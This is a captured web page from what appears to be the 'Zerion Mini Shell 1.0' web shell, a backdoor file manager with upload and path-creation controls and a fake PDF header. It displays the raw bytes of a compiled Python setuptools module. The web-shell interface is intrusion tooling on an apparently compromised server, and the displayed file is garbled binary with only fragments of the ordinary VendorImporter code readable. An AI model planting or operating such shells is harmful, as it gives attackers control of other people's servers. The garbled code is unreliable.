%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/extern/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/extern/__pycache__/__init__.cpython-312.pyc

�


_�d�	��\�ddlZddlZGd�d�ZdZeeed�j
�y)�Nc�N�eZdZdZdd�Zed��Zd�Zd�Zd�Z	d�Z
dd	�Zd
�Zy)
�VendorImporterz�
    A PEP 302 meta path importer for finding optionally-vendored
    or otherwise naturally-installed packages from root_name.
    Nc�h�||_t|�|_|xs|jdd�|_y)N�extern�_vendor)�	root_name�set�vendored_names�replace�
vendor_pkg)�selfrr
rs    �</usr/lib/python3/dist-packages/setuptools/extern/__init__.py�__init__zVendorImporter.__init__s/��"���!�.�1���$�N�	�(9�(9�(�I�(N���c#�6K�|jdz��d��y�w)zL
        Search first the vendor package then as a natural package.
        �.�N)r�r
s r�search_pathzVendorImporter.search_paths����
�o�o��#�#���s�c��|j|jdz�\}}}|xr)tt|j|j
��S)z,Figure out if the target module is vendored.r)�	partitionr�any�map�
startswithr
)r
�fullname�root�base�targets     r�_module_matches_namespacez(VendorImporter._module_matches_namespacesG��%�/�/�����0D�E���d�F��x�L�C��F�$5�$5�t�7J�7J� K�L�Lrc�@�|j|jdz�\}}}|jD]<}	||z}t|�tj
|}|tj
|<|cSt
djdit�����#t$rY�mwxYw)zK
        Iterate over the search path to locate and load fullname.
        rz�The '{target}' package is required; normally this is bundled with this package so if you get this warning, consult the packager of your distribution.�)	rrr�
__import__�sys�modules�ImportError�format�locals)r
rrrr�prefix�extant�mods        r�load_modulezVendorImporter.load_modules���&�/�/�����0D�E���d�F��&�&�	�F�
��&����6�"��k�k�&�)��(+����H�%��
�
	��'� �!'��3�*0��3��
���
��
�s�7B�	B�Bc�8�|j|j�S�N)r+�name)r
�specs  r�
create_modulezVendorImporter.create_module3s������	�	�*�*rc��yr-r!)r
�modules  r�exec_modulezVendorImporter.exec_module6s��rc�h�|j|�r tjj||�SdS)z(Return a module spec for vendored names.N)r�	importlib�util�spec_from_loader)r
r�pathrs    r�	find_speczVendorImporter.find_spec9s7���-�-�h�7�
�N�N�+�+�H�d�;�	
��	
rc�h�|tjvr tjj|�yy)zR
        Install this importer into sys.meta_path if not already present.
        N)r#�	meta_path�appendrs r�installzVendorImporter.installAs'���s�}�}�$��M�M� � ��&�%r)r!N)NN)
�__name__�
__module__�__qualname__�__doc__r�propertyrrr+r0r3r9r=r!rrrrs@���
O�
����M�
�,+�
�
�'rr)	�	packaging�ordered_set�more_itertools�importlib_metadata�zipp�importlib_resources�jaraco�typing_extensions�tomlizsetuptools._vendor)�importlib.utilr5r#r�namesr>r=r!rr�<module>rNs7���
�A'�A'�H
	���x�� 4�5�=�=�?r

Zerion Mini Shell 1.0